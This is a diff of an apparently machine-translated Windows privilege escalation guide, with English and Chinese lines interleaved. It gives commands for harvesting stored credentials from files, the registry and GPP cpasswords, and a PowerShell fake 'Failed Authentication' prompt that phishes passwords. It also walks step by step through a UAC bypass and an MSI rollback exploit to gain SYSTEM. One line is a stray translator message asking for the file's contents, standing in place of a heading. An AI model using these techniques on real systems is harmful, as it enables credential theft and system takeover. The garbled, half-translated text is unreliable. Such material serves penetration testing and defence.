Sticky Notes -人们常在 Windows 工作站上使用 StickyNotes 应用来 **保存密码** 和其他信息,往往没有意识到它是一个数据库文件。该文件位于 `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`,值得搜索并检查。 +People often use the StickyNotes app on Windows workstations to **save passwords** and other information, not realizing it is a database file. This file is located at `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining. +许多人在 Windows 工作站上使用 StickyNotes 应用来 **保存密码** 及其他信息,但并不知道它是一个数据库文件。该文件位于 `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`,值得查找并进行分析。 ### AppCmd.exe **Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\ -**AppCmd.exe** 位于 `%systemroot%\system32\inetsrv\` 目录下。\ -如果该文件存在,则可能已配置某些 **credentials** 并且可以被 **recovered**。 +**注意:要从 AppCmd.exe 恢复密码,你需要是 Administrator 并在 High Integrity 权限级别下运行。**\ -此代码摘自 [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): +**AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\ +**AppCmd.exe** 位于 `%systemroot%\system32\inetsrv\` 目录下。\ +If this file exists then it is possible that some **credentials** have been configured and can be **recovered**. +如果该文件存在,则可能已配置一些 **credentials**,且可以被 **recovered**。 + +This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): +此代码摘自 [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference @@ -917,16 +932,16 @@ $ErrorActionPreference = $OrigError ``` ### SCClient / SCCM -检查 `C:\Windows\CCM\SCClient.exe` 是否存在 .\ -安装程序**run with SYSTEM privileges**,许多易受**DLL Sideloading (信息来自** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +检查是否存在 `C:\Windows\CCM\SCClient.exe` .\ +安装程序 **以 SYSTEM privileges 运行**,许多易受 **DLL Sideloading(信息来自** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**)。** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## 文件和注册表(凭证) +## 文件和注册表(凭据) -### Putty 凭证 +### Putty 凭据 ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` @@ -934,23 +949,23 @@ reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_ ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### SSH keys 在注册表中 +### 注册表中的 SSH 密钥 -SSH private keys 可以存储在注册表项 `HKCU\Software\OpenSSH\Agent\Keys` 中,所以你应该检查那里是否有任何有趣的内容: +SSH 私钥可以存储在注册表键 `HKCU\Software\OpenSSH\Agent\Keys` 中,因此你应该检查里面是否有任何有趣的内容: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -如果在该路径下发现任何条目,很可能是保存的 SSH 密钥。它以加密形式存储,但可以使用 [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) 轻松解密。\ -关于该技术的更多信息: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +如果你在该路径中发现任何条目,它很可能是一个已保存的 SSH key。它以加密形式存储,但可以使用 [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) 轻松解密。\ +更多关于此技术的信息: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -如果 `ssh-agent` 服务没有运行,而且你希望它在开机时自动启动,请运行: +如果 `ssh-agent` 服务未运行,并且你希望它在启动时自动启动,请运行: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> 看起来这个方法不再有效。我尝试创建一些 ssh keys,使用 `ssh-add` 添加它们并通过 ssh 登录到一台机器。注册表 HKCU\Software\OpenSSH\Agent\Keys 不存在,procmon 在非对称密钥认证期间也未识别出 `dpapi.dll` 的使用。 +> 看起来此技术不再有效。我尝试创建一些 ssh keys,用 `ssh-add` 添加它们,并通过 ssh 登录到一台机器。注册表 HKCU\Software\OpenSSH\Agent\Keys 不存在,procmon 在 asymmetric key authentication 期间也没有识别到 `dpapi.dll` 的使用。 -### 无人值守文件 +### 无人值守的文件 ``` C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf @@ -965,7 +980,7 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -您也可以使用 **metasploit** 搜索这些文件: _post/windows/gather/enum_unattend_ +你也可以使用 **metasploit** 搜索这些文件:_post/windows/gather/enum_unattend_ 示例内容: ```xml @@ -1008,15 +1023,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -查找名为 **SiteList.xml** 的文件 +搜索名为 **SiteList.xml** 的文件 ### 缓存的 GPP 密码 -以前有一个功能允许通过 Group Policy Preferences (GPP) 在一组机器上部署自定义本地管理员账户。然而,该方法存在严重的安全缺陷。首先,作为 XML 文件存储在 SYSVOL 中的 Group Policy Objects (GPOs) 可以被任何域用户访问。其次,这些 GPP 中的密码使用公开文档化的默认密钥以 AES256 加密,但任何经过认证的用户都可以解密这些密码。这构成了严重风险,可能使用户获得提升的权限。 +之前有一个功能允许通过 Group Policy Preferences (GPP) 在一组机器上部署自定义本地管理员帐户。然而,该方法存在严重的安全缺陷。首先,Group Policy Objects (GPOs) 作为 XML 文件存储在 SYSVOL 中,任何域用户都可以访问。其次,这些 GPP 中的密码使用公开记录的默认密钥以 AES256 加密,任何经过身份验证的用户都可以将其解密。这构成严重风险,可能允许用户获得提升的权限。 -为减轻该风险,开发了一个函数,用于扫描本地缓存的包含非空 "cpassword" 字段的 GPP 文件。发现此类文件后,该函数会解密密码并返回一个自定义的 PowerShell 对象。该对象包含有关 GPP 和文件位置的详细信息,帮助识别和修复此安全漏洞。 +为减轻该风险,开发了一个函数,用于扫描本地缓存的包含非空 "cpassword" 字段的 GPP 文件。找到此类文件后,函数会解密密码并返回一个自定义的 PowerShell 对象。该对象包含有关 GPP 以及文件位置的详细信息,有助于识别并修复此安全漏洞。 -Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: +在 `C:\ProgramData\Microsoft\Group Policy\history` 或在 _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history**(在 W Vista 之前)_ 中搜索这些文件: - Groups.xml - Services.xml @@ -1025,7 +1040,7 @@ Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents - Printers.xml - Drives.xml -**解密 cPassword:** +**要解密 cPassword:** ```bash #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw @@ -1048,7 +1063,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -带有凭据的 web.config 示例: +包含凭据的 web.config 示例: ```xml @@ -1078,7 +1093,7 @@ $entropy, Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` -### 日志 +### Logs ```bash # IIS C:\inetpub\logs\LogFiles\* @@ -1088,7 +1103,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct ``` ### 请求 credentials -如果你认为他可能知道,你可以随时**要求用户输入他的 credentials,甚至其他用户的 credentials**(注意,直接向客户端**询问**其**credentials**是非常**危险**的): +你可以始终**要求用户输入他的 credentials 或甚至其他用户的 credentials**,如果你认为他可能知道它们(注意,**直接询问** 客户以获取 **credentials** 是非常**危险**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1096,9 +1111,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **Possible filenames containing credentials** +### **可能包含凭证的文件名** -已知一些文件曾在某段时间包含以 **clear-text** 或 **Base64** 存放的 **passwords** +已知有些文件曾包含以**明文**或**Base64**形式存储的**密码** ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1162,7 +1177,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -搜索所有建议的文件: +我需要该文件的内容才能进行翻译。请粘贴 src/windows-hardening/windows-local-privilege-escalation/README.md 的完整文本,或授予我访问该文件的内容。 ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1173,25 +1188,25 @@ Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct ``` ### 回收站中的凭据 -你也应该检查回收站以查找其中的凭据 +你还应该检查回收站,以查找其中的凭据 -要 **恢复由多个程序保存的密码**,你可以使用: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +要 **恢复密码**(由多个程序保存),可以使用: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### 在注册表中 +### 注册表中 -**其他可能包含凭据的注册表键** +**可能包含凭据的其他注册表键** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s reg query "HKCU\Software\TightVNC\Server" reg query "HKCU\Software\OpenSSH\Agent\Key" ``` -[**从注册表提取 openssh 密钥。**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +[**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) ### 浏览器历史记录 -你应该检查存放 **Chrome or Firefox** 密码的 dbs。\ -还要检查浏览器的历史记录、书签和收藏夹,可能有些 **密码** 存储在那里。 +你应该检查存储 **Chrome 或 Firefox** 密码的 dbs。\ +也要检查浏览器的历史、书签和收藏夹,因为可能有一些 **密码** 存储在那里。 Tools to extract passwords from browsers: @@ -1202,15 +1217,15 @@ Tools to extract passwords from browsers: ### **COM DLL Overwriting** -**Component Object Model (COM)** 是一种内置于 Windows 操作系统的技术,允许不同语言的软件组件之间进行 **相互通信**。每个 COM 组件通过 **class ID (CLSID)** 来识别,并且每个组件通过一个或多个接口来暴露功能,这些接口由 **interface IDs (IIDs)** 标识。 +Component Object Model (COM) 是 Windows 操作系统内置的一种技术,允许不同语言的软件组件之间进行相互通信。每个 COM 组件通过 class ID (CLSID) 标识,每个组件通过一个或多个接口暴露功能,接口由 interface IDs (IIDs) 标识。 -COM 类和接口在注册表下分别定义在 **HKEY\CLASSES\ROOT\CLSID** 和 **HKEY\CLASSES\ROOT\Interface**。该注册表是通过合并 **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT** 创建的。 +COM classes and interfaces are defined in the registry under **HKEY\CLASSES\ROOT\CLSID** and **HKEY\CLASSES\ROOT\Interface** respectively. This registry is created by merging the **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral). +Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (单线程)、**Free** (多线程)、**Both** (单或多线程) 或 **Neutral** (线程中性)。 ![](<../../images/image (729).png>) -基本上,如果你能**overwrite any of the DLLs**,并且该 DLL 将被不同用户执行,那么你就可能**escalate privileges**。 +Basically, if you can **overwrite any of the DLLs** that are going to be executed, you could **escalate privileges** if that DLL is going to be executed by a different user. To learn how attackers use COM Hijacking as a persistence mechanism check: @@ -1219,7 +1234,7 @@ To learn how attackers use COM Hijacking as a persistence mechanism check: com-hijacking.md {{#endref}} -### **在文件和注册表中通用的密码搜索** +### **在文件和注册表中搜索通用密码** **搜索文件内容** ```bash @@ -1233,20 +1248,20 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**在注册表中搜索键名和密码** +**搜索注册表中的密钥名称和密码** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### 搜索 passwords 的工具 +### 搜索密码的工具 -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** 插件。我创建此插件以 **自动执行每个 metasploit POST module 来搜索 credentials** 在受害者主机内。\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 自动搜索本页提到的所有包含 passwords 的文件。\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 是另一个很棒的工具,用于从系统中提取 password。 +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** 插件,我创建了这个插件用来**自动执行每一个在受害主机上搜索 credentials 的 metasploit POST 模块**。\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 自动搜索本页中提到的所有包含密码的文件。\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 是另一个用于从系统提取密码的优秀工具。 -该工具 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) 会搜索多个保存为明文的 **sessions**, **usernames** 和 **passwords**(PuTTY, WinSCP, FileZilla, SuperPuTTY, 和 RDP) +该工具 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) 搜索 **sessions**, **usernames** 和 **passwords**,针对那些以明文保存这些数据的工具(PuTTY, WinSCP, FileZilla, SuperPuTTY, 和 RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1255,30 +1270,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -设想 **a process running as SYSTEM open a new process** (`OpenProcess()`) 并拥有 **full access**。同一进程 **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**。\ -然后,如果你对 **full access to the low privileged process**,你可以获取由 `OpenProcess()` 创建的特权进程的**open handle**,并向其 **inject a shellcode**。\ -[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ -[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +想象一下,**a process running as SYSTEM open a new process** (`OpenProcess()`) 并获得 **full access**。同一进程**also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**。\ +然后,如果你对该低权限进程具有 **full access**,你可以获取使用 `OpenProcess()` 打开的特权进程的 **open handle** 并 **inject a shellcode**。\ +[阅读此示例以了解有关 **如何检测和利用此漏洞** 的更多信息。](leaked-handle-exploitation.md)\ +[另请阅读这篇**文章,以更完整地解释如何测试并滥用继承了不同权限级别(不仅限于 full access)的进程和线程的更多打开句柄**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -被称为 **pipes** 的共享内存段允许进程间通信和数据传输。 +共享内存段,称为 **pipes**,用于进程间通信和数据传输。 -Windows 提供了一种叫做 **Named Pipes** 的功能,允许不相关的进程共享数据,甚至通过不同的网络。这类似于客户端/服务器架构,角色定义为 **named pipe server** 和 **named pipe client**。 +Windows 提供了名为 **Named Pipes** 的功能,允许不相关的进程共享数据,甚至跨网络。它类似于客户端/服务器架构,其角色定义为 **named pipe server** 和 **named pipe client**。 -当数据由 **client** 通过 pipe 发送时,设置该 pipe 的 **server** 有能力 **take on the identity** of the **client**,前提是其具有必要的 **SeImpersonate** 权限。识别可以被你模拟并通过 pipe 通信的 **privileged process**,一旦该进程与您建立的 pipe 交互,就有机会通过采用该进程的身份来 **gain higher privileges**。关于如何执行此类攻击的说明,请参阅 [**here**](named-pipe-client-impersonation.md) 和 [**here**](#from-high-integrity-to-system)。 +当数据由 **client** 通过 pipe 发送时,设置该 pipe 的 **server** 在拥有必要的 **SeImpersonate** 权限时可以**承担(冒充)该 client 的身份**。识别出通过你可以模拟的 pipe 进行通信的**特权进程**,一旦该进程与您建立的 pipe 交互,就可以通过采用其身份来**获得更高的权限**。关于执行此类攻击的说明,可参考[**这里**](named-pipe-client-impersonation.md)和[**这里**](#from-high-integrity-to-system)。 -此外,下面的工具允许你使用类似 burp 的工具 **intercept a named pipe communication**: [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **并且这个工具允许列出并查看所有 pipe 以发现 privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +此外,下面的工具允许你**用类似 burp 的工具拦截 named pipe 通信:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **而另一个工具允许列出并查看所有 pipes 以发现 privescs:** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) ## 其他 ### File Extensions that could execute stuff in Windows -请查看页面 **[https://filesec.io/](https://filesec.io/)** +查看页面 **https://filesec.io/** -### **Monitoring Command Lines for passwords** +### **监控命令行中的密码** -当以用户身份获得 shell 时,可能存在计划任务或其他正在执行的进程会 **pass credentials on the command line**。下面的脚本每两秒捕获一次进程的 command lines,并将当前状态与之前的状态比较,输出任何差异。 +当以用户身份获得 shell 时,可能有计划任务或其他正在执行的进程会**在命令行中传递凭据**。下面的脚本每两秒捕获进程的命令行,并将当前状态与上一次状态进行比较,输出任何差异。 ```bash while($true) { @@ -1288,15 +1303,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## 从进程窃取密码 +## Stealing passwords from processes -## 从低权限用户到 NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass +## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -如果你可以访问图形界面(通过 console 或 RDP),且 UAC 已启用,在某些 Microsoft Windows 版本中,非特权用户可以以 "NT\AUTHORITY SYSTEM" 身份运行终端或任何其他进程。 +如果你可以访问图形界面(通过控制台或 RDP)并且启用了 UAC,在某些版本的 Microsoft Windows 中,有可能让非特权用户运行一个终端或任何其他进程,例如以 "NT\AUTHORITY SYSTEM" 身份运行。 -这就可以利用同一漏洞同时提升权限并绕过 UAC。此外,无需安装任何东西,过程中使用的二进制由 Microsoft 签名并发布。 +这就可以利用同一个漏洞同时提升权限并绕过 UAC。此外,无需安装任何东西,过程中使用的可执行文件是由 Microsoft 签名并发行的。 -以下是一些受影响的系统: +受影响的一些系统如下: ``` SERVER ====== @@ -1336,20 +1351,16 @@ Windows 10 1709 16299 link NOT opened 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -You have all the necessary files and information in the following GitHub repository: - -https://github.com/jas502n/CVE-2019-1388 - ## From Administrator Medium to High Integrity Level / UAC Bypass -Read this to **learn about Integrity Levels**: +阅读此文以**了解完整性级别(Integrity Levels)**: {{#ref}} integrity-levels.md {{#endref}} -Then **read this to learn about UAC and UAC bypasses:** +然后**阅读此文以了解 UAC 及 UAC 绕过:** {{#ref}} @@ -1358,180 +1369,180 @@ Then **read this to learn about UAC and UAC bypasses:** ## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP -The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +该技术在 [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) 中描述,并且存在利用代码 [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs)。 -该攻击基本上是滥用 Windows Installer 的 rollback 功能,在卸载过程中将合法文件替换为恶意文件。为此,攻击者需要创建一个 **malicious MSI installer**,用来劫持 `C:\Config.Msi` 文件夹,Windows Installer 在卸载其他 MSI 包时会将回滚文件存放到该文件夹,而这些回滚文件会被修改以包含恶意有效载荷。 +该攻击基本上是滥用 Windows Installer 的 rollback 功能,在卸载过程中将合法文件替换为恶意文件。为此,攻击者需要创建一个**恶意 MSI 安装包**,用于劫持 `C:\Config.Msi` 文件夹,之后 Windows Installer 在卸载其他 MSI 包时会将 rollback 文件存放到该目录,而这些 rollback 文件会被修改为包含恶意负载。 -该技术的摘要如下: +该技术摘要如下: 1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** - Step 1: Install the MSI -- Create an `.msi` that installs a harmless file (e.g., `dummy.txt`) in a writable folder (`TARGETDIR`). -- Mark the installer as **"UAC Compliant"**, so a **non-admin user** can run it. -- Keep a **handle** open to the file after install. + - 创建一个 `.msi`,在可写文件夹(`TARGETDIR`)中安装一个无害文件(例如 `dummy.txt`)。 + - 将安装程序标记为 **"UAC Compliant"**,以便**非管理员用户**可以运行它。 + - 在安装后保持对该文件的一个 **handle** 打开。 - Step 2: Begin Uninstall -- Uninstall the same `.msi`. -- The uninstall process starts moving files to `C:\Config.Msi` and renaming them to `.rbf` files (rollback backups). -- **Poll the open file handle** using `GetFinalPathNameByHandle` to detect when the file becomes `C:\Config.Msi\.rbf`. + - 卸载相同的 `.msi`。 + - 卸载过程开始将文件移动到 `C:\Config.Msi` 并将它们重命名为 `.rbf` 文件(rollback 备份)。 + - 使用 `GetFinalPathNameByHandle` **轮询打开的文件句柄**,以检测文件何时变为 `C:\Config.Msi\.rbf`。 - Step 3: Custom Syncing -- The `.msi` includes a **custom uninstall action (`SyncOnRbfWritten`)** that: -- Signals when `.rbf` has been written. -- Then **waits** on another event before continuing the uninstall. + - 该 `.msi` 包含一个**自定义卸载动作(SyncOnRbfWritten)**,该动作: + - 在 `.rbf` 写入时发出信号。 + - 然后在继续卸载之前**等待**另一个事件。 - Step 4: Block Deletion of `.rbf` -- When signaled, **open the `.rbf` file** without `FILE_SHARE_DELETE` — this **prevents it from being deleted**. -- Then **signal back** so the uninstall can finish. -- Windows Installer fails to delete the `.rbf`, and because it can’t delete all contents, **`C:\Config.Msi` is not removed**. + - 当接收到信号时,**以不含 `FILE_SHARE_DELETE` 的方式打开 `.rbf` 文件**——这将**阻止其被删除**。 + - 然后**回传信号**以便卸载可以完成。 + - Windows Installer 无法删除该 `.rbf`,因为无法删除所有内容,**`C:\Config.Msi` 不会被移除**。 - Step 5: Manually Delete `.rbf` -- You (attacker) delete the `.rbf` file manually. -- Now **`C:\Config.Msi` is empty**, ready to be hijacked. + - 你(攻击者)手动删除 `.rbf` 文件。 + - 现在 **`C:\Config.Msi` 为空**,可以被劫持。 -> At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`. +> 在此时,**触发 SYSTEM 级别的任意文件夹删除漏洞**以删除 `C:\Config.Msi`。 2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** - Step 6: Recreate `C:\Config.Msi` with Weak ACLs -- Recreate the `C:\Config.Msi` folder yourself. -- Set **weak DACLs** (e.g., Everyone:F), and **keep a handle open** with `WRITE_DAC`. + - 重新创建 `C:\Config.Msi` 文件夹。 + - 设置**弱 DACL**(例如 Everyone:F),并保持一个带有 `WRITE_DAC` 的句柄打开。 - Step 7: Run Another Install -- Install the `.msi` again, with: -- `TARGETDIR`: Writable location. -- `ERROROUT`: A variable that triggers a forced failure. -- This install will be used to trigger **rollback** again, which reads `.rbs` and `.rbf`. + - 再次安装该 `.msi`,并设置: + - `TARGETDIR`:可写位置。 + - `ERROROUT`:一个触发强制失败的变量。 + - 此次安装将用于再次触发 **rollback**,它会读取 `.rbs` 和 `.rbf`。 - Step 8: Monitor for `.rbs` -- Use `ReadDirectoryChangesW` to monitor `C:\Config.Msi` until a new `.rbs` appears. -- Capture its filename. + - 使用 `ReadDirectoryChangesW` 监控 `C:\Config.Msi`,直到出现新的 `.rbs`。 + - 捕获其文件名。 - Step 9: Sync Before Rollback -- The `.msi` contains a **custom install action (`SyncBeforeRollback`)** that: -- Signals an event when the `.rbs` is created. -- Then **waits** before continuing. + - 该 `.msi` 包含一个**自定义安装动作(SyncBeforeRollback)**,该动作: + - 当 `.rbs` 被创建时发出事件信号。 + - 然后在继续之前**等待**。 - Step 10: Reapply Weak ACL -- After receiving the `.rbs created` event: -- The Windows Installer **reapplies strong ACLs** to `C:\Config.Msi`. -- But since you still have a handle with `WRITE_DAC`, you can **reapply weak ACLs** again. + - 在收到 `.rbs created` 事件后: + - Windows Installer **会重新应用强 ACL** 到 `C:\Config.Msi`。 + - 但由于你仍然持有带有 `WRITE_DAC` 的句柄,你可以**再次重新应用弱 ACL**。 -> ACLs are **only enforced on handle open**, so you can still write to the folder. +> ACL 仅在打开句柄时强制执行,因此你仍然可以写入该文件夹。 - Step 11: Drop Fake `.rbs` and `.rbf` -- Overwrite the `.rbs` file with a **fake rollback script** that tells Windows to: -- Restore your `.rbf` file (malicious DLL) into a **privileged location** (e.g., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Drop your fake `.rbf` containing a **malicious SYSTEM-level payload DLL**. + - 覆盖 `.rbs` 文件为一个**伪造的 rollback 脚本**,指示 Windows: + - 将你的 `.rbf`(恶意 DLL)恢复到一个**受保护的位置**(例如 `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`)。 + - 放置你的伪造 `.rbf`,其中包含**SYSTEM 级别的恶意负载 DLL**。 - Step 12: Trigger the Rollback -- Signal the sync event so the installer resumes. -- A **type 19 custom action (`ErrorOut`)** is configured to **intentionally fail the install** at a known point. -- This causes **rollback to begin**. + - 发出同步事件使安装程序继续。 + - 一个**type 19 custom action(ErrorOut)** 被配置为在已知点**故意使安装失败**。 + - 这会导致**开始 rollback**。 - Step 13: SYSTEM Installs Your DLL -- Windows Installer: -- Reads your malicious `.rbs`. -- Copies your `.rbf` DLL into the target location. -- You now have your **malicious DLL in a SYSTEM-loaded path**. + - Windows Installer: + - 读取你恶意的 `.rbs`。 + - 将你的 `.rbf` DLL 复制到目标位置。 + - 现在你的**恶意 DLL 位于一个由 SYSTEM 加载的路径**中。 - Final Step: Execute SYSTEM Code -- Run a trusted **auto-elevated binary** (e.g., `osk.exe`) that loads the DLL you hijacked. -- 砰:你的代码以 SYSTEM 权限执行。 + - 运行一个受信任的**auto-elevated binary**(例如 `osk.exe`),该二进制会加载你劫持的 DLL。 + - **Boom**:你的代码以 **SYSTEM** 身份执行。 ### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -The main MSI rollback technique (the previous one) assumes you can delete an **entire folder** (e.g., `C:\Config.Msi`). But what if your vulnerability only allows **arbitrary file deletion** ? +主要的 MSI rollback 技术(前述方法)假设你可以删除整个文件夹(例如 `C:\Config.Msi`)。但如果你的漏洞仅允许**任意文件删除**怎么办? -You could exploit **NTFS internals**: every folder has a hidden alternate data stream called: +你可以利用 NTFS 内部机制:每个文件夹都有一个隐藏的替代数据流(alternate data stream),称为: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -该流存储文件夹的 **索引元数据**。 +该数据流存储该文件夹的 **索引元数据**。 -因此,如果你 **删除文件夹的 